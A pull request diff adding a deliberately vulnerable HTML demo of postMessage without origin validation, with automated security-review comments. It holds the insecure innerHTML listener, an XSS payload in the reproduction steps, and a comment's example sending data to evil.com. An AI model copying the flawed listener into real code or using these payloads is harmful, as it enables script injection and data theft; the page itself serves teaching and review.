Skip to content
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
67 changes: 67 additions & 0 deletions test5.html
Original file line number Diff line number Diff line change
@@ -0,0 +1,67 @@
<!doctype html>

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🟡 Lack of Content Security Policy (CSP) Headers

Severity: medium
File: test5.html (Line 1)

Description: The HTML page does not implement Content Security Policy headers to mitigate XSS attacks. A properly configured CSP would provide defense-in-depth by restricting inline script execution and limiting the sources from which scripts can be loaded, even if the postMessage vulnerability is exploited.

Proof of Concept:

Add CSP meta tag to prevent inline script execution:

<meta http-equiv="Content-Security-Policy" 
      content="default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; object-src 'none'">

Or better, set via HTTP header:
Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; object-src 'none'

Finding ID: 550e8400-e29b-41d4-a716-446655440022

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🟡 Missing Content Security Policy (CSP) Headers

Severity: medium
File: test5.html (Line 1)

Description: The HTML page does not implement Content Security Policy headers to mitigate XSS attacks. CSP provides an additional layer of defense by restricting the sources from which scripts can be executed and preventing inline script execution.

Proof of Concept:

Add CSP meta tag to prevent inline script execution:

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; connect-src 'self'">

Or better yet, implement CSP via HTTP headers on the server:

Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'

Finding ID: 550e8400-e29b-41d4-a716-446655440014

<html lang="en">
<head>
<meta charset="utf-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>Insecure postMessage without Origin Validation (VULNERABLE)</title>
<style>
body { font-family: ui-sans-serif, system-ui, -apple-system, Segoe UI, Roboto, Helvetica, Arial; margin: 2rem; line-height: 1.5; }
.card { border: 1px solid #e5e7eb; border-radius: 14px; padding: 1rem 1.25rem; box-shadow: 0 1px 4px rgba(0,0,0,0.06); }
code, pre { background: #f8fafc; border: 1px solid #e5e7eb; border-radius: 8px; padding: .25rem .5rem; }
pre { padding: .75rem 1rem; overflow: auto; }
.danger { color: #b91c1c; font-weight: 700; }
#output { min-height: 48px; border: 1px dashed #e5e7eb; border-radius: 10px; padding: .75rem; background: #ffffff; }
</style>
</head>
<body>
<h1>Insecure <code>postMessage</code> without Origin Validation <span class="danger">(VULNERABLE)</span></h1>
<p>This page intentionally demonstrates an insecure <code>message</code> event listener that <strong>does not validate <code>event.origin</code></strong> and blindly injects received content into the DOM.</p>

<div class="card" style="margin: 1rem 0;">
<p><strong>Status</strong></p>
<p id="origin">Last message origin: <em>(none)</em></p>
<div id="output">No message yet.</div>
</div>

<script>
// VULNERABLE IMPLEMENTATION — DO NOT USE IN PRODUCTION

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🟢 Potential Information Disclosure via Origin Display

Severity: low
File: test5.html (Line 28)

Description: The application displays the origin of incoming messages directly in the DOM without any filtering or sanitization. While this appears to be for debugging purposes, it could potentially leak information about the application's communication patterns or be used in social engineering attacks by displaying misleading origin information.

Proof of Concept:

An attacker could craft messages from various origins to probe the application:

// Probe from different origins
const origins = [
  'https://trusted-bank.com',
  'https://internal-admin.company.com',
  'https://api.payment-processor.com'
];

// The displayed origin could be used in phishing attacks
// by making users think messages are from trusted sources
window.opener.postMessage('Click here to verify your account', '*');

Consider: Only display origin in development mode, or hash/anonymize it in production.

Finding ID: 550e8400-e29b-41d4-a716-446655440016

// This listener accepts messages from ANY origin and injects the data into the DOM without sanitization.
window.addEventListener('message', (event) => {

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🟢 Unsafe Type Coercion in Message Data Handling

Severity: low
File: test5.html (Line 30)

Description: The code performs type checking using typeof but then uses JSON.stringify on non-string data without validating the structure. This could lead to unexpected behavior if the message data contains circular references, functions, or other non-serializable objects, potentially causing the application to crash or behave unpredictably.

Proof of Concept:

Send a message with circular reference:

const obj = {};
obj.self = obj;
window.opener.postMessage(obj, '*');
// This will throw: TypeError: Converting circular structure to JSON

Or send a function:
window.opener.postMessage({fn: () => alert(1)}, '*');
// Function will be silently dropped, resulting in {}

Recommended fix:
try {
  const incoming = typeof event.data === 'string' 
    ? event.data 
    : JSON.stringify(event.data);
} catch (e) {
  console.error('Invalid message data', e);
  return;
}

Finding ID: 550e8400-e29b-41d4-a716-446655440023

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🟡 Insufficient Input Validation on Message Data Type

Severity: medium
File: test5.html (Line 30)

Description: The code performs a basic type check (typeof event.data === 'string') but does not validate the structure, format, or content of the message data. This weak validation allows attackers to send unexpected data types or malformed payloads that could cause application errors or be exploited in conjunction with other vulnerabilities.

Proof of Concept:

An attacker can send various malformed payloads:

// Circular reference causing JSON.stringify to fail
const circular = {};
circular.self = circular;
window.opener.postMessage(circular, '*');

// Large payload causing performance issues
window.opener.postMessage('A'.repeat(10000000), '*');

Recommended fix:
// Validate message structure
if (typeof event.data !== 'object' || !event.data.type || !event.data.payload) {
  console.error('Invalid message format');
  return;
}

Finding ID: 550e8400-e29b-41d4-a716-446655440015

// Shows the origin but FAILS to validate it (critical bug)
document.getElementById('origin').textContent = 'Last message origin: ' + event.origin;

// Dangerous sink: direct innerHTML assignment of untrusted data
const incoming = typeof event.data === 'string' ? event.data : JSON.stringify(event.data);
document.getElementById('output').innerHTML = incoming;
});
</script>

<hr />
<h2>How to reproduce the issue</h2>
<ol>

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🟡 Wildcard targetOrigin in postMessage Documentation Example

Severity: medium
File: test5.html (Line 42)

Description: The documentation example on line 42 demonstrates using a wildcard (*) as the targetOrigin parameter in postMessage. While this is in a comment showing the attack vector, it could mislead developers into thinking this is acceptable practice. Using wildcard targetOrigin allows any window to receive the message, potentially exposing sensitive data to malicious origins.

Proof of Concept:

If a developer copies this pattern:

// INSECURE - sends to any origin
window.postMessage(sensitiveData, '*');

An attacker can receive the data:
window.addEventListener('message', (e) => {
  fetch('https://evil.com/steal?data=' + e.data);
});

Finding ID: 550e8400-e29b-41d4-a716-446655440021

<li>Open <em>this</em> file in your browser (served via any origin).</li>
<li>In the browser console, open a different-origin tab (e.g., <code>example.com</code>):
<pre>window.open('https://example.com', 'attacker');</pre>
</li>
<li>Switch to the console of the newly opened tab and run:
<pre>window.opener.postMessage('&lt;img src=x onerror=alert(\'Injected via \n\' + location.origin + \n\' — NO ORIGIN CHECK!\')&gt;', '*');</pre>
You should see an alert on the vulnerable page and the DOM content updated.
</li>
</ol>

<!--
SECURE PATTERN (for reference only — intentionally not active):

window.addEventListener('message', (event) => {
const allowed = new Set(['https://trusted.example']);
if (!allowed.has(event.origin)) return; // Validate origin strictly

// Optionally, validate event.source as well and use structured, expected message shapes
// if (event.data && event.data.type === 'expected') { ... }

// Avoid dangerous sinks like innerHTML; prefer textContent or safe rendering
});
-->
</body>
</html>